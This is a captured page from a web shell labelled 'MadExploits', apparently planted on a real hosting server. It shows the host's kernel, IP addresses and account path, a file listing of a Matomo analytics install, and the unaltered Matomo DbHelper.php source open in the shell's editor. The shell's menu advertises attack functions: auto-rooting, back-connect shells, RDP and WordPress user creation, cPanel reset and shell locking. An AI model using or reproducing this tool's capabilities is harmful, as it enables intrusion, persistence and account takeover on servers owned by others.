Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 3.21.105.222
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
analytics /
core /
[ HOME SHELL ]
Name
Size
Permission
Action
API
[ DIR ]
drwxr-xr-x
Access
[ DIR ]
drwxr-xr-x
Application
[ DIR ]
drwxr-xr-x
Archive
[ DIR ]
drwxr-xr-x
ArchiveProcessor
[ DIR ]
drwxr-xr-x
Archiver
[ DIR ]
drwxr-xr-x
AssetManager
[ DIR ]
drwxr-xr-x
Auth
[ DIR ]
drwxr-xr-x
Category
[ DIR ]
drwxr-xr-x
Changes
[ DIR ]
drwxr-xr-x
CliMulti
[ DIR ]
drwxr-xr-x
Columns
[ DIR ]
drwxr-xr-x
Concurrency
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
Container
[ DIR ]
drwxr-xr-x
CronArchive
[ DIR ]
drwxr-xr-x
DataAccess
[ DIR ]
drwxr-xr-x
DataFiles
[ DIR ]
drwxr-xr-x
DataTable
[ DIR ]
drwxr-xr-x
Db
[ DIR ]
drwxr-xr-x
DeviceDetector
[ DIR ]
drwxr-xr-x
Email
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Intl
[ DIR ]
drwxr-xr-x
Mail
[ DIR ]
drwxr-xr-x
Measurable
[ DIR ]
drwxr-xr-x
Menu
[ DIR ]
drwxr-xr-x
Metrics
[ DIR ]
drwxr-xr-x
Notification
[ DIR ]
drwxr-xr-x
Period
[ DIR ]
drwxr-xr-x
Plugin
[ DIR ]
drwxr-xr-x
ProfessionalServices
[ DIR ]
drwxr-xr-x
Report
[ DIR ]
drwxr-xr-x
ReportRenderer
[ DIR ]
drwxr-xr-x
Scheduler
[ DIR ]
drwxr-xr-x
Segment
[ DIR ]
drwxr-xr-x
Session
[ DIR ]
drwxr-xr-x
Settings
[ DIR ]
drwxr-xr-x
Tracker
[ DIR ]
drwxr-xr-x
Translation
[ DIR ]
drwxr-xr-x
UpdateCheck
[ DIR ]
drwxr-xr-x
Updater
[ DIR ]
drwxr-xr-x
Updates
[ DIR ]
drwxr-xr-x
Validators
[ DIR ]
drwxr-xr-x
View
[ DIR ]
drwxr-xr-x
ViewDataTable
[ DIR ]
drwxr-xr-x
Visualization
[ DIR ]
drwxr-xr-x
Widget
[ DIR ]
drwxr-xr-x
.htaccess
545
B
-rw-r--r--
Access.php
24.89
KB
-rw-r--r--
Archive.php
35.4
KB
-rw-r--r--
ArchiveProcessor.php
26.97
KB
-rw-r--r--
AssetManager.php
15.48
KB
-rw-r--r--
Auth.php
4.03
KB
-rw-r--r--
AuthResult.php
2.13
KB
-rw-r--r--
BaseFactory.php
1.77
KB
-rw-r--r--
Cache.php
3.51
KB
-rw-r--r--
CacheId.php
2.53
KB
-rw-r--r--
CliMulti.php
14.98
KB
-rw-r--r--
Common.php
39.79
KB
-rw-r--r--
Config.php
14.69
KB
-rw-r--r--
Console.php
10.09
KB
-rw-r--r--
Context.php
3.42
KB
-rw-r--r--
Cookie.php
15.12
KB
-rw-r--r--
CronArchive.php
50.69
KB
-rw-r--r--
DataArray.php
17.97
KB
-rw-r--r--
DataTable.php
69.61
KB
-rw-r--r--
Date.php
35.04
KB
-rw-r--r--
Db.php
29.43
KB
-rw-r--r--
DbHelper.php
10.84
KB
-rw-r--r--
Development.php
6.67
KB
-rw-r--r--
ErrorHandler.php
7.55
KB
-rw-r--r--
EventDispatcher.php
6.79
KB
-rw-r--r--
ExceptionHandler.php
7.06
KB
-rw-r--r--
FileIntegrity.php
15.8
KB
-rw-r--r--
Filechecks.php
8.79
KB
-rw-r--r--
Filesystem.php
18.74
KB
-rw-r--r--
FrontController.php
29.31
KB
-rw-r--r--
Http.php
44.42
KB
-rw-r--r--
IP.php
5.08
KB
-rw-r--r--
Log.php
8.14
KB
-rw-r--r--
LogDeleter.php
3.81
KB
-rw-r--r--
Mail.php
9.32
KB
-rw-r--r--
Metrics.php
20.76
KB
-rw-r--r--
NoAccessException.php
398
B
-rw-r--r--
Nonce.php
8.25
KB
-rw-r--r--
Notification.php
5.72
KB
-rw-r--r--
NumberFormatter.php
10
KB
-rw-r--r--
Option.php
8.25
KB
-rw-r--r--
Period.php
13.52
KB
-rw-r--r--
Piwik.php
27.95
KB
-rw-r--r--
Plugin.php
21.52
KB
-rw-r--r--
Profiler.php
13.32
KB
-rw-r--r--
ProxyHeaders.php
2.16
KB
-rw-r--r--
ProxyHttp.php
11.94
KB
-rw-r--r--
QuickForm2.php
3.94
KB
-rw-r--r--
RankingQuery.php
13.06
KB
-rw-r--r--
ReportRenderer.php
8.59
KB
-rw-r--r--
Segment.php
24.24
KB
-rw-r--r--
Sequence.php
3.11
KB
-rw-r--r--
Session.php
8.04
KB
-rw-r--r--
SettingsPiwik.php
18.07
KB
-rw-r--r--
SettingsServer.php
7.58
KB
-rw-r--r--
Singleton.php
1.46
KB
-rw-r--r--
Site.php
17.86
KB
-rw-r--r--
SiteContentDetector.php
14.22
KB
-rw-r--r--
SupportedBrowser.php
2.25
KB
-rw-r--r--
TCPDF.php
1.87
KB
-rw-r--r--
Theme.php
4.93
KB
-rw-r--r--
Timer.php
2.57
KB
-rw-r--r--
Tracker.php
11.79
KB
-rw-r--r--
Twig.php
19.74
KB
-rw-r--r--
Unzip.php
1.28
KB
-rw-r--r--
UpdateCheck.php
3.34
KB
-rw-r--r--
Updater.php
25.08
KB
-rw-r--r--
UpdaterErrorException.php
304
B
-rw-r--r--
Updates.php
3.86
KB
-rw-r--r--
Url.php
25.67
KB
-rw-r--r--
UrlHelper.php
11.24
KB
-rw-r--r--
Version.php
806
B
-rw-r--r--
View.php
18.2
KB
-rw-r--r--
bootstrap.php
2.03
KB
-rw-r--r--
dispatch.php
928
B
-rw-r--r--
testMinimumPhpVersion.php
10.82
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : DbHelper.php
<?php /** * Matomo - free/libre analytics platform * * @link https://matomo.org * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later * */ namespace Piwik; use Exception; use Piwik\Db\Schema; use Piwik\DataAccess\ArchiveTableCreator; /** * Contains database related helper functions. */ class DbHelper { /** * Get list of tables installed * * @param bool $forceReload Invalidate cache * @return array Tables installed */ public static function getTablesInstalled($forceReload = true) { return Schema::getInstance()->getTablesInstalled($forceReload); } /** * Returns `true` if a table in the database, `false` if otherwise. * * @param string $tableName The name of the table to check for. Must be prefixed. * Avoid using user input, as the variable will be used in a query unescaped. * @return bool * @throws \Exception */ public static function tableExists($tableName) { $tableName = str_replace(['%', '_', "'"], ['\%', '\_', '_'], $tableName); return Db::get()->query(sprintf("SHOW TABLES LIKE '%s'", $tableName))->rowCount() > 0; } /** * Get list of installed columns in a table * * @param string $tableName The name of a table. * * @return array Installed columns indexed by the column name. */ public static function getTableColumns($tableName) { return Schema::getInstance()->getTableColumns($tableName); } /** * Creates a new table in the database. * * Example: * ``` * $tableDefinition = "`age` INT(11) NOT NULL AUTO_INCREMENT, * `name` VARCHAR(255) NOT NULL"; * * DbHelper::createTable('tablename', $tableDefinition); * `` * * @param string $nameWithoutPrefix The name of the table without any piwik prefix. * @param string $createDefinition The table create definition * * @api */ public static function createTable($nameWithoutPrefix, $createDefinition) { Schema::getInstance()->createTable($nameWithoutPrefix, $createDefinition); } /** * Returns true if Piwik is installed * * @since 0.6.3 * * @return bool True if installed; false otherwise */ public static function isInstalled() { try { return Schema::getInstance()->hasTables(); } catch (Exception $e) { return false; } } /** * Truncate all tables */ public static function truncateAllTables() { Schema::getInstance()->truncateAllTables(); } /** * Creates an entry in the User table for the "anonymous" user. */ public static function createAnonymousUser() { Schema::getInstance()->createAnonymousUser(); } /** * Records the Matomo version a user used when installing this Matomo for the first time */ public static function recordInstallVersion() { Schema::getInstance()->recordInstallVersion(); } /** * Returns which Matomo version was used to install this Matomo for the first time. */ public static function getInstallVersion(): string { return Schema::getInstance()->getInstallVersion() ?? '0'; // need string as usage is usually // version_compare(DbHelper::getInstallVersion(),'4.0.0-b1', '<') or similar // and PHP 8.1 throws a deprecation warning otherwise // @see https://github.com/matomo-org/matomo/pull/17989#issuecomment-921298360 } public static function wasMatomoInstalledBeforeVersion($version) { $installVersion = self::getInstallVersion(); if (empty($installVersion)) { return true; // we assume yes it was installed } return true === version_compare($version, $installVersion, '>'); } /** * Create all tables */ public static function createTables() { Schema::getInstance()->createTables(); } /** * Drop database, used in tests */ public static function dropDatabase($dbName = null) { if (defined('PIWIK_TEST_MODE') && PIWIK_TEST_MODE) { Schema::getInstance()->dropDatabase($dbName); } } /** * Checks the database server version against the required minimum * version. * * @see config/global.ini.php * @since 0.4.4 * @throws Exception if server version is less than the required version */ public static function checkDatabaseVersion() { Db::get()->checkServerVersion(); } /** * Disconnect from database */ public static function disconnectDatabase() { Db::get()->closeConnection(); } /** * Create database * * @param string|null $dbName */ public static function createDatabase($dbName = null) { Schema::getInstance()->createDatabase($dbName); } /** * Returns if the given table has an index with the given name * * @param string $table * @param string $indexName * * @return bool * @throws Exception */ public static function tableHasIndex($table, $indexName) { $result = Db::get()->fetchOne('SHOW INDEX FROM '.$table.' WHERE Key_name = ?', [$indexName]); return !empty($result); } /** * Returns the default database charset to use * * Returns utf8mb4 if supported, with fallback to utf8 * * @return string * @throws Tracker\Db\DbException */ public static function getDefaultCharset() { $result = Db::get()->fetchRow("SHOW CHARACTER SET LIKE 'utf8mb4'"); if (empty($result)) { return 'utf8'; // charset not available } $result = Db::get()->fetchRow("SHOW VARIABLES LIKE 'character_set_database'"); if (!empty($result) && $result['Value'] === 'utf8mb4') { return 'utf8mb4'; // database has utf8mb4 charset, so assume it can be used } $result = Db::get()->fetchRow("SHOW VARIABLES LIKE 'innodb_file_per_table'"); if (empty($result) || $result['Value'] !== 'ON') { return 'utf8'; // innodb_file_per_table is required for utf8mb4 } return 'utf8mb4'; } /** * Returns sql queries to convert all installed tables to utf8mb4 * * @return array */ public static function getUtf8mb4ConversionQueries() { $allTables = DbHelper::getTablesInstalled(); $queries = []; foreach ($allTables as $table) { $queries[] = "ALTER TABLE `$table` CONVERT TO CHARACTER SET utf8mb4;"; } return $queries; } /** * Get the SQL to create Piwik tables * * @return array array of strings containing SQL */ public static function getTablesCreateSql() { return Schema::getInstance()->getTablesCreateSql(); } /** * Get the SQL to create a specific Piwik table * * @param string $tableName Unprefixed table name. * @return string SQL */ public static function getTableCreateSql($tableName) { return Schema::getInstance()->getTableCreateSql($tableName); } /** * Deletes archive tables. For use in tests. */ public static function deleteArchiveTables() { foreach (ArchiveTableCreator::getTablesArchivesInstalled() as $table) { Log::debug("Dropping table $table"); Db::query("DROP TABLE IF EXISTS `$table`"); } ArchiveTableCreator::refreshTableList($forceReload = true); } /** * Adds a MAX_EXECUTION_TIME hint into a SELECT query if $limit is bigger than 1 * * @param string $sql query to add hint to * @param int $limit time limit in seconds * @return string */ public static function addMaxExecutionTimeHintToQuery($sql, $limit) { if ($limit <= 0) { return $sql; } $sql = trim($sql); $pos = stripos($sql, 'SELECT'); if ($pos !== false) { $timeInMs = $limit * 1000; $timeInMs = (int) $timeInMs; $maxExecutionTimeHint = ' /*+ MAX_EXECUTION_TIME('.$timeInMs.') */ '; $sql = substr_replace($sql, 'SELECT ' . $maxExecutionTimeHint, $pos, strlen('SELECT')); } return $sql; } /** * Add an origin hint to the query to identify the main parameters and segment for debugging * * @param string $sql SQL query string * @param string $origin Origin string to describe the source of the query * @param Date|null $dateStart Start date used in the query, optional * @param Date|null $dateEnd End date used in the query, optional * @param array|null $sites Sites list used in the query, optional * @param Segment|null $segment Segment, the segment hash will be added if this is set * * @return string Modified SQL query string with hint added */ public static function addOriginHintToQuery(string $sql, string $origin, ?Date $dateStart = null, ?Date $dateEnd = null, ?array $sites = null, ?Segment $segment = null): string { $select = 'SELECT'; if ($origin && 0 === strpos(trim($sql), $select)) { $sql = trim($sql); $sql = 'SELECT /* ' . $origin . ' */' . substr($sql, strlen($select)); } if ($dateStart !== null && $dateEnd !== null && 0 === strpos(trim($sql), $select)) { $sql = trim($sql); $sql = 'SELECT /* ' . $dateStart->toString() . ',' . $dateEnd->toString() . ' */' . substr($sql, strlen($select)); } if ($sites && is_array($sites) && 0 === strpos(trim($sql), $select)) { $sql = trim($sql); $sql = 'SELECT /* ' . 'sites ' . implode(',', array_map('intval', $sites)) . ' */' . substr($sql, strlen($select)); } if ($segment && !$segment->isEmpty() && 0 === strpos(trim($sql), $select)) { $sql = trim($sql); $sql = 'SELECT /* ' . 'segmenthash ' . $segment->getHash(). ' */' . substr($sql, strlen($select)); } return $sql; } /** * Returns true if the string is a valid database name for MySQL. MySQL allows + in the database names. * Database names that start with a-Z or 0-9 and contain a-Z, 0-9, underscore(_), dash(-), plus(+), and dot(.) will be accepted. * File names beginning with anything but a-Z or 0-9 will be rejected (including .htaccess for example). * File names containing anything other than above mentioned will also be rejected (file names with spaces won't be accepted). * * @param string $dbname * @return bool */ public static function isValidDbname($dbname) { return (0 !== preg_match('/(^[a-zA-Z0-9]+([a-zA-Z0-9\_\.\-\+]*))$/D', $dbname)); } }
Close